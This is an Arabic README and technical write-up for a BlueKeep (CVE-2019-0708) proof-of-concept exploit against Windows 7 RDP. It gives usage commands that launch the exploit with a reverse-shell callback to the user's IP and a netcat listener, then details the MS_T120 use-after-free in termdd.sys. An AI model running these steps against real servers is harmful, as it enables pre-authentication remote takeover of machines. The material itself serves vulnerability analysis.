
CVE-2019-0708 (BlueKeep) إثبات المفهوم يسمح بتنفيذ تعليمات برمجية عن بعد قبل المصادقة على Windows7
يُظهر هذا المستودع خلل تنفيذ التعليمات البرمجية عن بُعد في خدمات سطح المكتب البعيد (RDS) لنظام Windows.
هذه هي كود إثبات المفهوم وتقرير فني حول ثغرة BlueKeep، والتي طورناها سابقًا. ملاحظة: هدفنا هو مساعدة المحللين على فهم أفضل للثغرات الحرجة.
كود الاستغلال الخاص بنا مكتوب بلغة Python 3، ويعتمد على مكتبة PyRDP. يرجى إعدادها باتباع دليل تثبيت PyRDP.
حاليًا، يستهدف استغلالنا ويتم اختباره على Windows 7 SP 1 (6.1.7601) x64 على Virtual Box.
إذا كان عنوان IP لجهازك هو 192.168.56.1 وكان الهدف هو خادم RDP على example.com:1234، فاكتب
$ python exploit.py example.com -rp 1234 192.168.56.1
إذا نجح البرنامج النصي في استغلال الخادم، فإن كود شل الاتصال العكسي يبدأ اتصال TCP من الخادم مرة أخرى إلى 192.168.56.1:4444. لذلك، على سبيل المثال، يجب أن تنتظر الاتصال باستخدام netcat:
$ nc -v -l 4444
إذا كنت تريد تغيير رقم المنفذ الذي يتصل به الخادم مرة أخرى، استخدم الخيار -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
في مايو 2019، كشفت Microsoft عن ثغرة تنفيذ تعليمات برمجية عن بُعد حرجة CVE-2019-0708، في خدمات سطح المكتب البعيد (المعروفة سابقًا باسم خدمات المحطة الطرفية). هذه الثغرة هي قبل المصادقة - مما يعني أن الثغرة قابلة للانتشار، مع احتمالية التسبب في اضطراب واسع النطاق. يمكن للمهاجم استغلال هذه الثغرة عن طريق إرسال رسائل بروتوكول سطح المكتب البعيد (RDP) مصممة إلى الخادم المستهدف والحصول على تنفيذ تعليمات برمجية عشوائية بامتيازات إدارية.
توفر خدمات سطح المكتب البعيد من Microsoft للمستخدم جلسات Windows تفاعلية مفتوحة عن بُعد. إنها تعرض سطح مكتب Windows الخاص بالمستخدم عن طريق التواصل مع عميل المستخدم باستخدام بروتوكول سطح المكتب البعيد (RDP) عبر المنفذ 3389/TCP.
يتمتع بروتوكول RDP بالقدرة على التحسين من خلال ملحقات برمجية تسمى القناة الافتراضية. قد تتضمن أمثلة التحسينات الوظيفية: دعم أنواع خاصة من الأجهزة، والصوت، أو إضافات أخرى للوظائف الأساسية. تتضمن هذه القنوات قنوات Microsoft القياسية مثل "rdpdr" (إعادة التوجيه)، و"rdpsnd" (الصوت)، و"cliprdr" (مشاركة الحافظة) إلخ. يمكن للمستخدمين كتابة وحدات باستخدام واجهة برمجة تطبيقات RDP لدعم قنوات أخرى. بالإضافة إلى القنوات المذكورة أعلاه، تقوم Microsoft بإنشاء قناتين افتراضيتين: MS_T120 (المستخدمة لـ RDP نفسه) وCTXTW (المستخدمة في Citrix ICA).
ترتبط الثغرة بعملية ربط القنوات الافتراضية لـ MS_T120 من خلال طلب "MCS Connect Initial and GCC Create". تتوفر معلومات أساسية إضافية من ZDI. كما هو مذكور في مقال ZDI، يتم إنشاء جميع القنوات الافتراضية التي يطلبها العميل باستخدام termdd!IcaCreateChannel(). ثم يتم تخزين المؤشرات إلى هياكل القنوات هذه داخل جدول، سنسميه ChannelPointerTable. عند إنشاء اتصال مع عميل RDP، تتم تهيئة جميع القنوات الافتراضية الثابتة بما في ذلك MS_T120 داخليًا بواسطة خادم RDP لنظام Windows ويتم الإشارة إليها بواسطة ChannelPointerTable.
يتم إصدار الاستعلام لإنشاء MS_T120 وCTXTW بواسطة rdpcore!WDLIB_IcaVirtualQueryBindings().
الشكل .1: توليد الاستعلام لإنشاء MS_T120 وCTXTW
بعد تمرير الاستعلام إلى termdd!IcaBindVirtualChannels()، يتم إنشاء هيكل قناة افتراضية في termdd!IcaAllocateChannel() وتسجيله في ChannelPointerTable.
الشكل .2: إنشاء وتسجيل هيكل القناة الافتراضية
الروتين الوظيفي termdd!IcaBindChannel() مسؤول عن تسجيل هيكل قناة افتراضية في ChannelPointerTable.
إليك تتبع المكدس على Windows 7 x64، عند استدعاء termdd!IcaBindChannel() مع الوسيطة الأولى "MS_T120" والوسيطة الثالثة 0x1f.
الشكل .3: يتم ربط MS_T1209 بالفتحة 0x1f أثناء الطلب الأولي
ثم يبدو ChannelPointerTable على النحو التالي. لاحظ أن MS_T120 موجود دائمًا في الفتحة 0x1F.
الشكل .4: ChannelPointerTable أثناء الطلب الأولي
توجد ثغرة استخدام بعد التحرير (use-after-free) في برنامج تشغيل نواة RDP لنظام Windows، termdd.sys.
المشكلة هي أنه عندما يحدد العميل قناة باسم MS_T120\x00 أثناء "MCS Connect Initial and GCC Create"، فإن termdd!IcaCreateChannel() يستدعي termdd!IcaFindChannelByName() ويعيد
هيكل قناة MS_T120 الموجود في الفتحة 0x1F. ثم يعتبر هذا الهيكل كإدخال قناة افتراضية جديد ويتم تخزينه في فتحة أخرى (في هذا المثال، الفتحة 2) أثناء "MCS Attach User Request".
إليك تتبع المكدس على Windows 7 x64، عند استدعاء termdd!IcaBindChannel() مع الوسيطة الأولى "MS_T120" والوسيطة الثالثة 0x2.
الشكل .5: يتم ربط MS_T1209 أيضًا بالفتحة 0x2 أثناء طلب الإرفاق
بعبارة أخرى، يتم الإشارة إلى هيكل قناة MS_T120 بواسطة فتحتين: 0x1F و0x2.
الشكل .6: ChannelPointerTable أثناء طلب الإرفاق
إذا أرسل مهاجم بعد ذلك بيانات غير صالحة إلى قناة MS_T120، يقوم termdd.sys بإغلاق القناة باستخدام termdd!IcaCloseChannel()، ويمسح المؤشر في الفتحة. (الفتحة 2 في المثال الجاري) ومع ذلك، لا يتم مسح نفس المؤشر في الفتحة 0x1F. بعد ذلك، عند إنهاء الاتصال، يتم استدعاء RDPWD!HandleDisconnectProviderUlt()، والذي يستدعي بدوره termdd!IcaChannelInputInternal() ويحاول تدمير هيكل قناة MS_T1209 المحرر مرة أخرى باستخدام المؤشر في الفتحة 0x1F. يتم استدعاء إجراء التدمير بواسطة مؤشر الجدول الافتراضي (vtable) داخل هيكل القناة. يؤدي هذا إلى حالة استخدام بعد التحرير.
الشكل .7: إلغاء الإشارة إلى vtable
كما هو موضح في القسم السابق، يحاول RDPWD!HandleDisconnectProviderUlt() استدعاء دالة من مؤشر vtable داخل هيكل القناة المحرر. إذا كان بإمكان المهاجم التحكم في القيم في هيكل القناة، فيمكنه الكتابة فوق مؤشر vtable، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية بامتيازات النواة. لتحقيق ذلك، مع ذلك، هناك صعوبتان يجب التغلب عليهما.